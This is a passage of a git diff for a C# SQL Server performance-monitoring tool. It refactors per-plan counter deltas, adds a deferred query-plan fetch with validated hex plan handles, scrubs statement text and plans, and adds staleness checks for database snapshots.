+                && worker.TryGetValue(key, out var b2) && b2 == row.TotalWorkerTime
+                && elapsed.TryGetValue(key, out var b3) && b3 == row.TotalElapsedTime
+                && reads.TryGetValue(key, out var b4) && b4 == row.TotalLogicalReads
+                && writes.TryGetValue(key, out var b5) && b5 == row.TotalLogicalWrites
+                && physReads.TryGetValue(key, out var b6) && b6 == row.TotalPhysicalReads
+                && spills.TryGetValue(key, out var b7) && b7 == row.TotalSpills)
+            {
+                var computed = ComputeDeltas(row, key, context);
+                if (computed.Exec == 0 && computed.Worker == 0 && computed.Elapsed == 0 && computed.Reads == 0
+                    && computed.Writes == 0 && computed.PhysReads == 0 && computed.Spills == 0
+                    && computed.IntervalSeconds > 0)
+                {
+                    continue; /* idle over a measured interval: nothing moved, nothing to store */
+                }
+
+                kept.Add((row with { Precomputed = computed }, rank));
+                continue;
+            }
+
+            kept.Add((row, rank));
         }
 
-        return rows;
+        /* OrderBy is stable, so a full tie (same rank, same handle) keeps the DMV's order. */
+        return kept
+            .OrderByDescending(k => k.Rank)
+            .ThenBy(k => k.Row.PlanHandle, StringComparer.Ordinal)
+            .Select(k => k.Row)
+            .ToList();
+    }
+
+    /// <summary>The delta key: plan_handle to prevent cross-contamination when multiple plans exist for the
+    /// same object; the db.schema.object fallback and the seven group names are the parity contract.</summary>
+    private static string DeltaKey(Row row) => row.PlanHandle ?? $"{row.DatabaseName}.{row.SchemaName}.{row.ObjectName}";
+
+    private static ReadTimeDeltas ComputeDeltas(Row row, string deltaKey, CollectorContext context)
+    {
+        var deltaExec = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_exec", deltaKey, row.ExecutionCount, out var execInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaWorker = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_worker", deltaKey, row.TotalWorkerTime, out var workerInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaElapsed = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_elapsed", deltaKey, row.TotalElapsedTime, out var elapsedInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaReads = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_reads", deltaKey, row.TotalLogicalReads, out var readsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaWrites = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_writes", deltaKey, row.TotalLogicalWrites, out var writesInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaPhysReads = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_phys_reads", deltaKey, row.TotalPhysicalReads, out var physReadsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var deltaSpills = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_spills", deltaKey, row.TotalSpills, out var spillsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
+        var interval = Math.Min(execInterval, Math.Min(workerInterval, Math.Min(elapsedInterval, Math.Min(readsInterval, Math.Min(writesInterval, Math.Min(physReadsInterval, spillsInterval))))));
+
+        return new ReadTimeDeltas(deltaExec, deltaWorker, deltaElapsed, deltaReads, deltaWrites, deltaPhysReads, deltaSpills, interval);
     }
 
     public override void WritePayload(Row row, ICollectorRowWriter writer, CollectorContext context)
@@ -502,15 +915,18 @@ and every readmission is a first sighting whose 0 used to read as "ran zero time
            resets all seven together). Taking the minimum makes the stored pair mean "every delta in this
            row is knowable", so a reader never divides a reset counter's 0 by a sibling's real interval
            and reads it as idle. */
-        var deltaKey = row.PlanHandle ?? $"{row.DatabaseName}.{row.SchemaName}.{row.ObjectName}";
-        var deltaExec = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_exec", deltaKey, row.ExecutionCount, out var execInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaWorker = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_worker", deltaKey, row.TotalWorkerTime, out var workerInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaElapsed = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_elapsed", deltaKey, row.TotalElapsedTime, out var elapsedInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaReads = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_reads", deltaKey, row.TotalLogicalReads, out var readsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaWrites = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_writes", deltaKey, row.TotalLogicalWrites, out var writesInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaPhysReads = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_phys_reads", deltaKey, row.TotalPhysicalReads, out var physReadsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var deltaSpills = context.Deltas.CalculateDeltaWithInterval(context.ServerId, "proc_stats_spills", deltaKey, row.TotalSpills, out var spillsInterval, collectionTime: context.CollectionTime, maxGapSeconds: CollectorDeltaCalculator.DefaultMaxGapSeconds);
-        var sampleIntervalSeconds = Math.Min(execInterval, Math.Min(workerInterval, Math.Min(elapsedInterval, Math.Min(readsInterval, Math.Min(writesInterval, Math.Min(physReadsInterval, spillsInterval))))));
+        /* #5449: a row the read kept with deltas already computed (unchanged counters, no interval knowable) writes
+           them; calling the calculator again would compute a zero over a fresh one-interval baseline and replace the
+           (0, 0) pair this row has to carry. Every other row takes its delta path here, unchanged. */
+        var d = row.Precomputed ?? ComputeDeltas(row, DeltaKey(row), context);
+        var deltaExec = d.Exec;
+        var deltaWorker = d.Worker;
+        var deltaElapsed = d.Elapsed;
+        var deltaReads = d.Reads;
+        var deltaWrites = d.Writes;
+        var deltaPhysReads = d.PhysReads;
+        var deltaSpills = d.Spills;
+        var sampleIntervalSeconds = d.IntervalSeconds;
 
         writer
             .Value(row.DatabaseName)
@@ -547,8 +963,8 @@ and reads it as idle. */
             .Value(deltaWrites)
             .Value(deltaPhysReads)
             .Value(deltaSpills)
-            .Value(row.QueryPlanXml)           /* null unless CapturePlanXml captured it (Darling) */
-            .Value(row.QueryPlanXmlBytes)      /* #3392: measured size, never gated by the cap */
+            .PayloadOrDigest(row.QueryPlanXml, row.KnownPlanDigest) /* null unless CapturePlanXml captured it (Darling); #5158: or the digest of a plan the store holds */
+            .Value(row.QueryPlanXmlBytes) /* #3392: measured size, never gated by the cap; a host that defers the fetch sets it from its cache for a known identity */
             .Value(sampleIntervalSeconds);     /* sample_interval_seconds INTEGER — measured, 0 = unknowable */
     }
 
diff --git a/PerformanceMonitor.Collectors/PvsStatsCollector.cs b/PerformanceMonitor.Collectors/PvsStatsCollector.cs
index 57c3326adb..038653eb69 100644
--- a/PerformanceMonitor.Collectors/PvsStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/PvsStatsCollector.cs
@@ -191,7 +191,7 @@ public readonly record struct Row(
     private const string OnPremQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name =
         d.name,
     database_id =
@@ -260,7 +260,7 @@ pvss.persistent_version_store_size_kb DESC
     private const string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     database_name =
         DB_NAME(),
     database_id =
diff --git a/PerformanceMonitor.Collectors/QuerySnapshotsCollector.cs b/PerformanceMonitor.Collectors/QuerySnapshotsCollector.cs
index 943e826a4b..893023b2fe 100644
--- a/PerformanceMonitor.Collectors/QuerySnapshotsCollector.cs
+++ b/PerformanceMonitor.Collectors/QuerySnapshotsCollector.cs
@@ -13,6 +13,7 @@
 using System.Text;
 using System.Threading;
 using System.Threading.Tasks;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -92,7 +93,7 @@ the server-side error_reported EVENT - fleet error monitoring watching those eve
     IF OBJECT_ID(N'msdb.dbo.cdc_jobs') IS NOT NULL
     BEGIN
         INSERT @cdc_capture_jobs (job_id)
-        EXEC sys.sp_executesql N'SELECT cj.job_id FROM msdb.dbo.cdc_jobs AS cj WHERE cj.job_type = N''capture'';';
+        EXEC sys.sp_executesql N'SELECT /* PerformanceMonitorLite */ cj.job_id FROM msdb.dbo.cdc_jobs AS cj WHERE cj.job_type = N''capture'';';
         SET @cdc_readable = 1;
     END;
 END TRY
@@ -490,6 +491,10 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
     {
         var rows = new List<Row>();
 
+        /* #4348: the statement text and both plans are judged where they first enter a Row, so the stored rows and
+           the live Active Queries read (which shares this ReadAsync) both carry the filtered values. */
+        var scrub = context.BeginStatementScrub();
+
         while (await reader.ReadAsync(cancellationToken))
         {
             rows.Add(new Row
@@ -497,9 +502,9 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 SessionId = Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture),
                 DatabaseName = reader.IsDBNull(1) ? null : reader.GetString(1),
                 ElapsedTimeFormatted = reader.IsDBNull(2) ? null : reader.GetString(2),
-                QueryText = reader.IsDBNull(3) ? null : reader.GetString(3),
-                QueryPlan = reader.IsDBNull(4) ? null : reader.GetString(4),
-                LiveQueryPlan = reader.IsDBNull(5) ? null : reader.GetValue(5)?.ToString(),
+                QueryText = reader.IsDBNull(3) ? null : scrub.Text(reader.GetString(3)),
+                QueryPlan = reader.IsDBNull(4) ? null : scrub.Xml(reader.GetString(4)),
+                LiveQueryPlan = reader.IsDBNull(5) ? null : scrub.Xml(reader.GetValue(5)?.ToString()),
                 Status = reader.IsDBNull(6) ? null : reader.GetString(6),
                 BlockingSessionId = reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7), CultureInfo.InvariantCulture),
                 /* Trimmed at the read (see WaitTypeName): this is the live Active Queries fetch's read too. */
diff --git a/PerformanceMonitor.Collectors/QueryStatsCollector.cs b/PerformanceMonitor.Collectors/QueryStatsCollector.cs
index 8e880aea2a..8c7cf99f4f 100644
--- a/PerformanceMonitor.Collectors/QueryStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/QueryStatsCollector.cs
@@ -12,6 +12,7 @@
 using System.Globalization;
 using System.Threading;
 using System.Threading.Tasks;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -85,6 +86,14 @@ public sealed class Row
         /// </summary>
         public long? QueryPlanXmlBytes { get; set; }
 
+        /// <summary>
+        /// #5158: the digest the host's store already holds for this row's plan, set by a host that defers
+        /// the plan fetch and recognizes the plan from an earlier commit. When set, the writer stores the
+        /// digest instead of the content (<see cref="ICollectorRowWriter.PayloadOrDigest"/>). Null by
+        /// default, so a row writes its <see cref="QueryPlanXml"/> as it always has.
+        /// </summary>
+        public string? KnownPlanDigest { get; set; }
+
         public long PlanGenerationNum { get; set; }
 
         /// <summary>
@@ -290,6 +299,164 @@ OUTER APPLY
         qs.statement_end_offset
     ) AS tqp";
 
+    /// <summary>
+    /// One statement plan the host wants rendered by <see cref="BuildPlanFetchQuery"/>: the same
+    /// <c>plan_handle</c> and statement offsets <see cref="PlanApplyFragment"/> hands to
+    /// <c>sys.dm_exec_text_query_plan</c>.
+    /// </summary>
+    public readonly record struct PlanFetchKey(byte[] PlanHandle, int StartOffset, int EndOffset);
+
+    /// <summary>
+    /// The most keys one <see cref="BuildPlanFetchQuery"/> call accepts. The inline <c>VALUES</c> list has no
+    /// engine limit as a derived table, so this is a bound on the statement a host can ask a monitored
+    /// server to compile, not a limit of the engine: a host with more misses splits its call.
+    /// </summary>
+    public const int MaxPlanFetchKeys = 1000;
+
+    /// <summary>
+    /// #5158: the second target query for a host that sets <see cref="CollectorContext.DeferPlanXmlFetch"/>.
+    /// The main query ships no plan, and this renders plan XML for only the keys the host does not yet
+    /// have committed. Row <c>ord</c> is the key's position in <paramref name="keys"/>, so the host maps a
+    /// result back to its row without reading the handle back.
+    ///
+    /// WHY A SECOND QUERY AND NOT A NOT EXISTS IN THE MAIN ONE. The inline form renders and ships about 200
+    /// plans every run whether or not the store already holds them: on one large store that was 54 GB/h
+    /// rendered and 29 GB/h shipped against 1.1 GB/h of distinct plans (47x), and it is why the slowest
+    /// runs are bound by draining plan text. A NOT EXISTS over the TVF inside the main query does not defer
+    /// it: #1959 found the optimizer does not reliably hold the TVF back until after the filter, and the
+    /// monitored server cannot take a table-valued parameter or a temp type from us either. The host's own
+    /// commits already say which plans are in the store, so it filters first and sends the survivors here.
+    ///
+    /// The handles are inlined as hex literals, rendered host-side from bytes the same way
+    /// <c>QueryStoreCollector</c> inlines its id list: nothing in the text is operator input. The cap CASE,
+    /// the bytes column and the comment on both are the inline fragment's, unchanged: a plan over the cap
+    /// reports its size and a NULL plan, and a handle that aged out between the two queries returns no
+    /// plan and no size, which is the pairing the inline form produces for the same case.
+    /// </summary>
+    /// <exception cref="InvalidOperationException">The host captures no plans, or <paramref name="keys"/> is empty.</exception>
+    public static CollectorQuery BuildPlanFetchQuery(CollectorContext context, IReadOnlyList<PlanFetchKey> keys)
+    {
+        ArgumentNullException.ThrowIfNull(context);
+
+        if (!context.CapturePlanXml)
+        {
+            throw new InvalidOperationException(
+                "A plan fetch needs CapturePlanXml: a host that captures no plans must not issue one.");
+        }
+
+        /* An empty key list means nothing is missing, the steady state in which NO target query should run.
+           `VALUES ()` is a syntax error anyway, and returning a no-op query would hide the caller's missing skip. */
+        if (keys is null || keys.Count == 0)
+        {
+            throw new InvalidOperationException(
+                "The plan fetch key list must be non-empty; an empty list means no fetch should be issued at all.");
+        }
+
+        if (keys.Count > MaxPlanFetchKeys)
+        {
+            throw new InvalidOperationException(
+                "The plan fetch key list holds " + keys.Count.ToString(CultureInfo.InvariantCulture)
+                + " keys; one call takes at most " + MaxPlanFetchKeys.ToString(CultureInfo.InvariantCulture)
+                + ", so the caller must split it.");
+        }
+
+        var values = new System.Text.StringBuilder();
+        for (var ord = 0; ord < keys.Count; ord++)
+        {
+            var key = keys[ord];
+            /* plan_handle is varbinary(64). A null or empty handle would render `0x`, which is not a
+               usable literal, and anything longer than 64 bytes is not a plan handle. */
+            if (key.PlanHandle is null || key.PlanHandle.Length == 0 || key.PlanHandle.Length > 64)
+            {
+                throw new InvalidOperationException(
+                    "Plan fetch key " + ord.ToString(CultureInfo.InvariantCulture)
+                    + " has no valid plan_handle; it must be 1 to 64 bytes.");
+            }
+
+            if (ord > 0)
+            {
+                values.Append(",\n        ");
+            }
+
+            values
+                .Append('(')
+                .Append(ord.ToString(CultureInfo.InvariantCulture))
+                .Append(", 0x").Append(Convert.ToHexString(key.PlanHandle))
+                .Append(", ").Append(key.StartOffset.ToString(CultureInfo.InvariantCulture))
+                .Append(", ").Append(key.EndOffset.ToString(CultureInfo.InvariantCulture))
+                .Append(')');
+        }
+
+        /* The cap CASE and the bytes column mirror PlanSelectFragment exactly (same constant), and
+           tqp.query_plan is read twice there for the same reason: one materialized OUTER APPLY column. */
+        var text = @"SELECT
+    k.ord,
+    query_plan_xml = CASE WHEN DATALENGTH(tqp.query_plan) > " + QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + @" THEN NULL ELSE tqp.query_plan END,
+    query_plan_xml_bytes = DATALENGTH(tqp.query_plan)
+FROM
+(
+    VALUES
+        " + values + @"
+) AS k (ord, plan_handle, s, e)
+OUTER APPLY
+    sys.dm_exec_text_query_plan
+    (
+        k.plan_handle,
+        k.s,
+        k.e
+    ) AS tqp
+OPTION(RECOMPILE);";
+
+        return new CollectorQuery(text);
+    }
+
+    /// <summary>
+    /// Reads <see cref="BuildPlanFetchQuery"/>'s result into <c>ord</c> -> (plan, size), each plan through the
+    /// caller's statement filter session (#4348), so a caller digests and caches the filtered plan. A key whose plan
+    /// aged out maps to (null, null); a plan over the cap maps to (null, size).
+    ///
+    /// <para><paramref name="unjudged"/> receives the <c>ord</c> of each plan the session's budget could not cover.
+    /// Its result is the whole-plan marker, but a caller must not cache it: the next cycle, with a fresh budget, can
+    /// judge the plan. Any other plan, including one withheld whole because its judge failed, is a settled outcome.</para>
+    /// </summary>
+    public static async ValueTask<Dictionary<int, (string? PlanXml, long? Bytes)>> ReadPlanFetchAsync(
+        DbDataReader reader, SensitiveStatements.Session scrub, CancellationToken cancellationToken,
+        ISet<int>? unjudged = null)
+    {
+        ArgumentNullException.ThrowIfNull(reader);
+        ArgumentNullException.ThrowIfNull(scrub);
+
+        var results = new Dictionary<int, (string? PlanXml, long? Bytes)>();
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var ord = Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
+            /* Convert, not GetInt64: the same DATALENGTH-width reasoning as the inline read of this column. */
+            string? plan = null;
+            if (!reader.IsDBNull(1) && !scrub.TryXml(reader.GetString(1), out plan))
+            {
+                /* The budget ran out before or during this plan (the marker is the result): not a verdict on the
+                   plan, so the caller must not remember it. A plan withheld whole for its own sake (a judge that
+                   threw, a plan that cannot be parsed) returns true above and IS a verdict: it fails the same way
+                   next cycle, so the caller records it like any fetched plan (#5367 review, A-L4). */
+                unjudged?.Add(ord);
+            }
+
+            results[ord] = (
+                plan,
+                reader.IsDBNull(2) ? null : Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture));
+        }
+
+        return results;
+    }
+
+    /// <summary>
+    /// True when the main query carries the plan columns itself: the host captures plans and has not
+    /// deferred the fetch to <see cref="BuildPlanFetchQuery"/> (#5158). One definition for the query text
+    /// and the read, so the ordinals cannot disagree with the SELECT.
+    /// </summary>
+    private static bool InlinePlanCapture(CollectorContext context) =>
+        context.CapturePlanXml && !context.DeferPlanXmlFetch;
+
     public override string Name => "query_stats";
 
     public override string TargetTable => "query_stats";
@@ -317,8 +484,9 @@ public override bool AppliesTo(CollectorTargetInfo target) =>
 
     public override CollectorQuery BuildQuery(CollectorContext context)
     {
-        var planSelect = context.CapturePlanXml ? PlanSelectFragment : "";
-        var planApply = context.CapturePlanXml ? PlanApplyFragment : "";
+        var inlinePlan = InlinePlanCapture(context);
+        var planSelect = inlinePlan ? PlanSelectFragment : "";
+        var planApply = inlinePlan ? PlanApplyFragment : "";
 
         if (context.Target.IsAzureSqlDb)
         {
@@ -412,6 +580,10 @@ offsets the delta key is made of. Until these were stored no row in query_stats
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
         var rows = new List<Row>();
+        var inlinePlan = InlinePlanCapture(context);
+        /* #4348: the statement filter runs where the text and the inline plan first enter a row, so nothing
+           downstream (the writer, the plan digest, the dimension tables, Lite's store) ever holds the raw value. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -455,7 +627,7 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 MaxSpills = reader.IsDBNull(35) ? 0L : reader.GetInt64(35),
                 SqlHandle = reader.IsDBNull(36) ? null : reader.GetString(36),
                 PlanHandle = reader.IsDBNull(37) ? null : reader.GetString(37),
-                QueryText = reader.IsDBNull(38) ? null : reader.GetString(38),
+                QueryText = reader.IsDBNull(38) ? null : scrub.Text(reader.GetString(38)),
                 PlanGenerationNum = reader.IsDBNull(39) ? 0L : reader.GetInt64(39),
                 StatementStartOffset = reader.IsDBNull(40) ? 0 : reader.GetInt32(40),
                 StatementEndOffset = reader.IsDBNull(41) ? 0 : reader.GetInt32(41),
@@ -467,13 +639,14 @@ readers split INSERT...EXEC callers that share a query_hash. */
                    capture modes and its ordinal is fixed. That pushes the plan XML to 44. */
                 CompileAgeSeconds = reader.IsDBNull(43) ? null : reader.GetInt32(43),
                 /* query_plan_xml is the trailing column present only when CapturePlanXml spliced it
-                   into the SELECT (ordinal 44); the short-circuit skips it entirely when off. */
-                QueryPlanXml = context.CapturePlanXml && !reader.IsDBNull(44) ? reader.GetString(44) : null,
+                   into the SELECT (ordinal 44); the short-circuit skips it entirely when off, and also when
+                   the host defers the plan fetch (#5158), which leaves the main query without it. */
+                QueryPlanXml = inlinePlan && !reader.IsDBNull(44) ? scrub.Xml(reader.GetString(44)) : null,
                 /* #3392: the plan's measured size rides the same splice at ordinal 45, so the same
                    short-circuit covers it. Convert rather than GetInt64: DATALENGTH's return type widens to
                    bigint only for the max types, and a provider that hands back an Int32 here would throw
                    on a strict accessor — the min_dop/max_dop idiom above, for the same reason. */
-                QueryPlanXmlBytes = context.CapturePlanXml && !reader.IsDBNull(45)
+                QueryPlanXmlBytes = inlinePlan && !reader.IsDBNull(45)
                     ? Convert.ToInt64(reader.GetValue(45), CultureInfo.InvariantCulture)
                     : null,
             });
@@ -640,7 +813,7 @@ real. A worker delta of 0 over a REAL interval (a query that ran but burned no C
             .Value(row.MinSpills)
             .Value(row.MaxSpills)
             .Value(row.QueryText)
-            .Value(row.QueryPlanXml)           /* null unless CapturePlanXml captured it (Darling) */
+            .PayloadOrDigest(row.QueryPlanXml, row.KnownPlanDigest) /* null unless CapturePlanXml captured it (Darling); #5158: or the digest of a plan the store holds */
             .Value(row.SqlHandle)
             .Value(row.PlanHandle)
             .Value(deltaExecCount)
diff --git a/PerformanceMonitor.Collectors/QueryStoreBackfillState.cs b/PerformanceMonitor.Collectors/QueryStoreBackfillState.cs
index a2aa560552..d68826ed61 100644
--- a/PerformanceMonitor.Collectors/QueryStoreBackfillState.cs
+++ b/PerformanceMonitor.Collectors/QueryStoreBackfillState.cs
@@ -213,4 +213,75 @@ public static List<string> MergeHoleDatabases(IEnumerable<string> candidateDatab
 
         return new List<string>(merged);
     }
+
+    /// <summary>
+    /// #5483: the newest <c>database_states</c> snapshot for one server, bounded below at the backfill floor:
+    /// <c>$1</c> server_id, <c>$2</c> floor. One row per database in the snapshot (<c>database_name</c>,
+    /// <c>collection_time</c>), none when no snapshot newer than the floor exists. The same text runs on
+    /// PostgreSQL and on DuckDB, and the snapshot is the same unfiltered <c>sys.databases</c> read the orphan
+    /// prune judges by (see <see cref="QueryStorePerDatabaseState"/>), not query_store's own filtered
+    /// enumeration. The floor bound keeps the read to the recent chunks, the way #4197 bounds the candidate read.
+    /// </summary>
+    public const string NewestSnapshotSql =
+        "SELECT database_name, collection_time FROM database_states WHERE server_id = $1 AND collection_time = (SELECT MAX(collection_time) FROM database_states WHERE server_id = $1 AND collection_time > $2)";
+
+    /// <summary>
+    /// #5483: is there a collected query_store row for one database at or after the snapshot's time:
+    /// <c>$1</c> server_id, <c>$2</c> database, <c>$3</c> the snapshot's collection_time. A hit is proof the
+    /// database was alive after the snapshot was taken, so its absence from the snapshot means "created since",
+    /// not "dropped". The same text runs on PostgreSQL and on DuckDB.
+    /// </summary>
+    public const string RowAtOrAfterSnapshotSql =
+        "SELECT 1 FROM query_store_stats WHERE server_id = $1 AND database_name = $2 AND collection_time >= $3 LIMIT 1";
+
+    /// <summary>
+    /// #5483: the candidates the newest <c>database_states</c> snapshot does not name, in candidate order. These are
+    /// the only databases worth a freshness check: the rest are on the server. Compared ordinally, as the orphan
+    /// prune compares a state key to <c>prefix || database_name</c> (PostgreSQL and DuckDB both compare text
+    /// case-sensitively), so a name that differs only by case is a different database here too.
+    ///
+    /// <para>Not by itself a verdict. A database created after the snapshot is absent from it and alive; the caller
+    /// asks <see cref="RowAtOrAfterSnapshotSql"/> about each name returned before it drops one.</para>
+    /// </summary>
+    public static List<string> AbsentFromSnapshot(IEnumerable<string> candidates, ISet<string> snapshotDatabases)
+    {
+        var absent = new List<string>();
+        foreach (var candidate in candidates)
+        {
+            if (!snapshotDatabases.Contains(candidate))
+            {
+                absent.Add(candidate);
+            }
+        }
+
+        return absent;
+    }
+
+    /// <summary>#5483: the shortest a <c>database_states</c> snapshot may be before the gone-database check stops
+    /// trusting it, however fast the collector runs.</summary>
+    public static readonly TimeSpan MinimumSnapshotStaleness = TimeSpan.FromHours(1);
+
+    /// <summary>#5483: a snapshot is stale once it is older than this many times the collector's own interval.</summary>
+    public const int SnapshotStalenessIntervals = 3;
+
+    /// <summary>
+    /// #5483: how old a <c>database_states</c> snapshot may be and still decide that a database is gone: three times
+    /// the collector's own interval for that server (<paramref name="intervalMinutes"/>, the effective schedule both
+    /// apps resolve), never under <see cref="MinimumSnapshotStaleness"/>. A zero, negative or unknown interval gives
+    /// the floor.
+    /// </summary>
+    public static TimeSpan SnapshotStalenessBound(int intervalMinutes)
+    {
+        var scaled = TimeSpan.FromMinutes((double)Math.Max(0, intervalMinutes) * SnapshotStalenessIntervals);
+        return scaled > MinimumSnapshotStaleness ? scaled : MinimumSnapshotStaleness;
+    }
+
+    /// <summary>
+    /// #5483: true when the snapshot taken at <paramref name="snapshotTime"/> (a store timestamp, UTC) is older than
+    /// <see cref="SnapshotStalenessBound"/> at <paramref name="nowUtc"/>. A stale snapshot is unknown, the same as no
+    /// snapshot: it still names a database dropped after it, and every probe for a database it misses would read the
+    /// store's chunks back to it. A snapshot exactly at the bound is still fresh.
+    /// </summary>
+    public static bool IsSnapshotStale(DateTime snapshotTime, DateTime nowUtc, int intervalMinutes)
+        => nowUtc - snapshotTime > SnapshotStalenessBound(intervalMinutes);
 }
diff --git a/PerformanceMonitor.Collectors/QueryStoreCollector.cs b/PerformanceMonitor.Collectors/QueryStoreCollector.cs
index 6e8a672448..55f4a456e9 100644
--- a/PerformanceMonitor.Collectors/QueryStoreCollector.cs
+++ b/PerformanceMonitor.Collectors/QueryStoreCollector.cs
@@ -172,7 +172,7 @@ is the item list the runners collect from. */
 
 DECLARE
     @db sysname,
-    @sql nvarchar(500),
+    @sql nvarchar(1000),
     @exec_sp nvarchar(256);
 
 DECLARE db_check CURSOR LOCAL FAST_FORWARD FOR
@@ -227,8 +227,12 @@ BECAUSE this database is a readable secondary replica — its Query Store conten
            (AG, RDS read replicas, geo-secondaries alike). An operator-set read-only QS on a PRIMARY has
            reason <> 8 and still collects; a 2025 READ_CAPTURE_SECONDARY (state 4, reason 0) captures
            REAL local secondary workload and still collects. */
+        /* V8 (release walk): the marker sits in THIS inner batch, the statement the monitored server
+           actually caches and Query Store records for each database. The marker in the cursor SELECT above
+           only reaches the outer batch, so without it this probe topped Top Queries by Duration and Query
+           Store by Duration, one row per database. */
         SET @sql = N'
-            SELECT ' + QUOTENAME(@db, '''') + N'
+            SELECT /* PerformanceMonitorLite */ ' + QUOTENAME(@db, '''') + N'
             WHERE EXISTS
             (
                 SELECT
@@ -260,7 +264,7 @@ FROM db_check
 CLOSE db_check;
 DEALLOCATE db_check;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     name
 FROM @result
 ORDER BY
@@ -268,7 +272,7 @@ ORDER BY
 
 /* Second result set = the driver's probe-failure contract (EnumeratedCollectorDriver.ReadEnumerationAsync).
    Always returned, normally empty; the driver reads zero rows and attaches no note. */
-SELECT
+SELECT /* PerformanceMonitorLite */
     name,
     error_text
 FROM @probe_failures
@@ -300,7 +304,7 @@ WHERE actual_state IN (1, 2, 4)
 
     /// <summary>The live version probe deciding the 2017+/2022+ column gates (see class remarks).</summary>
     public const string ProductVersionProbeText =
-        "SELECT CONVERT(integer, PARSENAME(CONVERT(sysname, SERVERPROPERTY('PRODUCTVERSION')), 4))";
+        "SELECT /* PerformanceMonitorLite */ CONVERT(integer, PARSENAME(CONVERT(sysname, SERVERPROPERTY('PRODUCTVERSION')), 4))";
 
     /// <summary>PRODUCTVERSION assumed when the probe fails or returns NULL (SQL Server 2016).</summary>
     public const int DefaultProductVersion = 13;
@@ -1320,7 +1324,7 @@ The SECOND statement below keeps plain OPTION(RECOMPILE): it reads only #plan_fe
            nothing, so there is no join strategy to force. Not an oversight - checked. */
         var body = $@"SET NOCOUNT ON;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     plan_id = qsp.plan_id,
     query_plan_hash = CONVERT(varchar(64), qsp.query_plan_hash, 1),
     query_plan_text = CONVERT(nvarchar(max), qsp.query_plan)
@@ -1329,7 +1333,7 @@ FROM sys.query_store_plan AS qsp
 WHERE qsp.plan_id IN ({idList})
 OPTION(RECOMPILE, HASH JOIN);
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     plan_id = b.plan_id,
     query_plan_hash = b.query_plan_hash,
     query_plan_text = b.query_plan_text
@@ -1440,7 +1444,7 @@ rather than blurred - the join-strategy change and the identical-rowset property
            catalog with no spill. */
         var body = $@"SET NOCOUNT ON;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     query_id = qsq.query_id,
     query_hash = CONVERT(varchar(64), qsq.query_hash, 1),
     query_sql_text = qst.query_sql_text
@@ -1451,7 +1455,7 @@ JOIN sys.query_store_query_text AS qst
 WHERE qsq.query_id IN ({idList})
 OPTION(RECOMPILE, HASH JOIN);
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     query_id = b.query_id,
     query_hash = b.query_hash,
     query_sql_text = b.query_sql_text
@@ -1563,6 +1567,11 @@ this is the second line of defense. */
             ?? int.MaxValue;
         long textBytes = 0;
 
